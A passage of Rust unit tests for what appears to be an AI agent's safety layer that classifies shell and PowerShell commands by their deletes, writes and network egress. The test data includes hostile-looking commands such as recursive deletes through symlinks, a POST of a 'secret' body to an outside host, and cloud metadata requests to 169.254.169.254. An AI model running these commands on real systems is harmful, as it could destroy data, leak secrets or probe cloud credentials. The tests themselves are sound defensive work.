5821 Exact(vec![delete("/tmp/aidaemon-test/w/x")]),
5822 ),
5823 (
5825 "curl -w @fmt https://a.example.invalid/",
5826 Exact(vec![egress("a.example.invalid:443")]),
5827 ),
5828 (
5829 "curl --write-out @fmt https://a.example.invalid/",
5830 Exact(vec![egress("a.example.invalid:443")]),
5831 ),
5832 (
5834 "curl dict://h.example.invalid/d:x",
5835 Within(vec![egress("h.example.invalid:2628")]),
5836 ),
5837 ("curl ldap://h.example.invalid/", Within(vec![])),
5838 ("curl telnet://h.example.invalid/", Within(vec![])),
5839 (
5840 "curl gopher://h.example.invalid:70/",
5841 Exact(vec![egress("h.example.invalid:70")]),
5842 ),
5843 (
5845 "wget --output-document=~/x https://a.example.invalid/",
5846 Within(vec![
5847 write("/tmp/aidaemon-test/w/~/x"),
5848 egress("a.example.invalid:443"),
5849 ]),
5850 ),
5851 (
5852 "curl -o~/x https://a.example.invalid/",
5853 Within(vec![
5854 write("/tmp/aidaemon-test/w/~/x"),
5855 egress("a.example.invalid:443"),
5856 ]),
5857 ),
5858 ];
5859 let mut wrong = Vec::new();
5860 for (command, expect) in cases {
5861 let effects = shell_call_effects(command, Some(w));
5862 let ok = !effects.complete
5863 && match expect {
5864 Incomplete => true,
5865 Exact(mut expected) => {
5866 let mut keys = effects.keys.clone();
5867 let order = |key: &EffectKey| format!("{} {}", key.class, key.target);
5868 keys.sort_by_key(order);
5869 expected.sort_by_key(order);
5870 keys == expected
5871 }
5872 Within(allowed) => effects.keys.iter().all(|key| allowed.contains(key)),
5873 };
5874 let clean = effects
5876 .keys
5877 .iter()
5878 .all(|key| !key.target.contains(['{', '}', '*', '?', ',', '\\']));
5879 if !ok || !clean {
5880 wrong.push(format!("{command:?} => {effects:?}"));
5881 }
5882 }
5883 assert!(
5884 wrong.is_empty(),
5885 "{} wrong:\n{}",
5886 wrong.len(),
5887 wrong.join("\n")
5888 );
5889 let partial = shell_call_effects("git pull https://a.example.invalid/r", None);
5891 assert!(partial.keys.contains(&egress("a.example.invalid:443")));
5892 }
5893
5894 #[cfg(unix)]
5896 #[test]
5897 fn shell_paths_resolve_through_symlinks_physically() {
5898 let dir = tempfile::tempdir().unwrap();
5899 let w = dunce::canonicalize(dir.path()).unwrap();
5900 let w = w.to_str().unwrap();
5901 std::fs::create_dir_all(format!("{w}/a/real")).unwrap();
5902 std::os::unix::fs::symlink(format!("{w}/a/real"), format!("{w}/link")).unwrap();
5903 std::os::unix::fs::symlink(format!("{w}/missing"), format!("{w}/dangling")).unwrap();
5904 let key = |class, path: String| EffectKey {
5905 class,
5906 target: path,
5907 };
5908 let trailing = shell_call_effects(&format!("rm -rf {w}/link/"), None);
5910 assert!(!trailing.complete);
5911 assert!(
5912 trailing
5913 .keys
5914 .contains(&key(EffectClass::Delete, format!("{w}/a/real")))
5915 );
5916 assert!(
5917 trailing
5918 .keys
5919 .contains(&key(EffectClass::Delete, format!("{w}/link")))
5920 );
5921 let climbed = shell_call_effects(&format!("rm -rf {w}/link/../victim"), None);
5923 assert!(!climbed.complete);
5924 assert!(
5925 climbed
5926 .keys
5927 .contains(&key(EffectClass::Delete, format!("{w}/a/victim")))
5928 );
5929 let redirected = shell_call_effects(&format!("echo x > {w}/link/../f"), None);
5930 assert!(!redirected.complete);
5931 assert_eq!(
5932 redirected.keys,
5933 vec![key(EffectClass::Write, format!("{w}/a/f"))]
5934 );
5935 assert!(
5937 shell_call_effects(&format!("echo x > {w}/dangling/f"), None)
5938 .keys
5939 .is_empty()
5940 );
5941 }
5942
5943 #[test]
5946 fn proven_fetch_urls_only_when_exit_status_vouches_for_every_fetch() {
5947 let url = "https://synthetic-tunnel.example/";
5948 let other = "http://127.0.0.1:8080/wp-login.php";
5949 assert_eq!(
5950 proven_fetch_urls(&format!("curl -sSfL {url}")),
5951 Some(vec![url.to_string()])
5952 );
5953 assert_eq!(
5954 proven_fetch_urls(&format!("curl -s -o /dev/null -w '%{{http_code}}' '{url}'")),
5955 Some(vec![url.to_string()])
5956 );
5957 assert_eq!(
5958 proven_fetch_urls(&format!("wget -q -O - {other} 2>&1")),
5959 Some(vec![other.to_string()])
5960 );
5961 assert_eq!(
5962 proven_fetch_urls(&format!("curl -sI {url} && /usr/bin/wget --spider {other}")),
5963 Some(vec![url.to_string(), other.to_string()])
5964 );
5965 assert_eq!(
5966 proven_fetch_urls(&format!("curl --url {url}")),
5967 Some(vec![url.to_string()])
5968 );
5969
5970 for masked in [
5972 format!("curl -s {url}; true"),
5973 format!("curl -s {url} || echo down"),
5974 format!("curl -s {url} | head -5"),
5975 format!("curl -s {url} |& tee /tmp/out"),
5976 format!("curl -s {url} & wait"),
5977 format!("(curl -s {url})"),
5978 format!("curl -s {url}\necho done"),
5979 format!("curl -s {url} && echo ok"),
5980 format!("echo start && curl -s {url}"),
5981 "curl -s $(cat /tmp/url)".to_string(),
5982 "curl -s \"$URL\"".to_string(),
5983 format!("URL={url} curl -s {url}"),
5984 format!("sudo curl -s {url}"),
5985 format!("curl -s {url} {other}"),
5986 format!("curl -K /tmp/curlrc {url}"),
5987 format!("/tmp/bin/curl -s {url}"),
5988 "curl -s synthetic-tunnel.example".to_string(),
5989 "curl -s 'https://synthetic-tunnel.example/{a,b}'".to_string(),
5990 "curl -s".to_string(),
5991 String::new(),
5992 ] {
5993 assert_eq!(proven_fetch_urls(&masked), None, "{masked}");
5994 }
5995 }
5996
5997 #[cfg(windows)]
6001 mod powershell {
6002 use super::super::*;
6003
6004 #[test]
6005 fn reading_cmdlets_are_observations() {
6006 for line in [
6007 r"Get-Content C:\Users\alice\notes.txt",
6008 "Start-Sleep -Seconds 1; Write-Output done",
6009 r"gci C:\Users\alice | Select-String TODO",
6010 r"Test-Path C:\Users\alice\notes.txt",
6011 ] {
6012 assert!(command_effects(line).observation_only, "{line}");
6013 }
6014 }
6015
6016 #[test]
6017 fn a_backslash_does_not_hide_a_delete() {
6018 let effects = command_effects(r"Get-Content C:\; Remove-Item C:\data");
6019 assert!(!effects.observation_only);
6020 assert!(effects.deletes);
6021 }
6022
6023 #[test]
6024 fn code_bearing_arguments_are_unknown() {
6025 for line in [
6026 "Get-ChildItem | ForEach-Object { Remove-Item $_ }",
6027 "Write-Output $(Remove-Item x)",
6028 "Get-Content @args",
6029 "Select-Object @{n='x';e={Remove-Item y}}",
6030 ] {
6031 let effects = command_effects(line);
6032 assert!(!effects.observation_only, "{line}");
6033 assert!(!effects.local_work_only, "{line}");
6034 }
6035 }
6036
6037 #[test]
6038 fn powershell_curl_is_not_read_as_curl() {
6039 let line = "curl -Method Post -Body secret https://example.invalid/x";
6040 assert!(!only_reads(line));
6041 assert!(fetches_network(line));
6042 }
6043
6044 #[test]
6045 fn curl_exe_is_curl() {
6046 let effects = shell_call_effects("curl.exe -s https://example.invalid/x", None);
6047 assert!(
6048 effects
6049 .keys
6050 .iter()
6051 .any(|key| key.class == EffectClass::Egress),
6052 "{:?}",
6053 effects.keys
6054 );
6055 assert!(only_reads("curl.exe -s https://example.invalid/x"));
6056 }
6057
6058 #[test]
6059 fn remove_item_targets_are_read() {
6060 let effects = command_effects(r"Remove-Item -Recurse -Force C:\tmp\aidaemon-test\x");
6061 assert!(effects.deletes);
6062 assert_eq!(
6063 effects.delete_targets,
6064 Some(vec!["C:/tmp/aidaemon-test/x".to_string()])
6065 );
6066 assert!(command_effects(r"New-Item -ItemType Directory C:\tmp\x").local_work_only);
6067 }
6068
6069 #[test]
6070 fn web_cmdlets_name_where_they_go() {
6071 for line in [
6072 "curl http://169.254.169.254/latest/meta-data/",
6073 "Invoke-WebRequest -Uri http://169.254.169.254/latest/",
6074 ] {
6075 let effects = shell_call_effects(line, None);
6076 assert!(!effects.understood, "{line}");
6077 assert!(
6078 effects
6079 .keys
6080 .iter()
6081 .any(|key| key.class == EffectClass::Egress
6082 && key.target.starts_with("169.254.169.254")),
6083 "{line}: {:?}",
6084 effects.keys
6085 );
6086 }
6087 }
6088
6089 #[test]
6090 fn remove_item_declares_its_delete() {
6091 let effects = shell_call_effects(r"Remove-Item -Recurse C:\tmp\x", None);
6092 assert!(
6093 effects
6094 .keys
6095 .iter()
6096 .any(|key| key.class == EffectClass::Delete),
6097 "{:?}",
6098 effects.keys
6099 );
6100 }
6101 }
6102}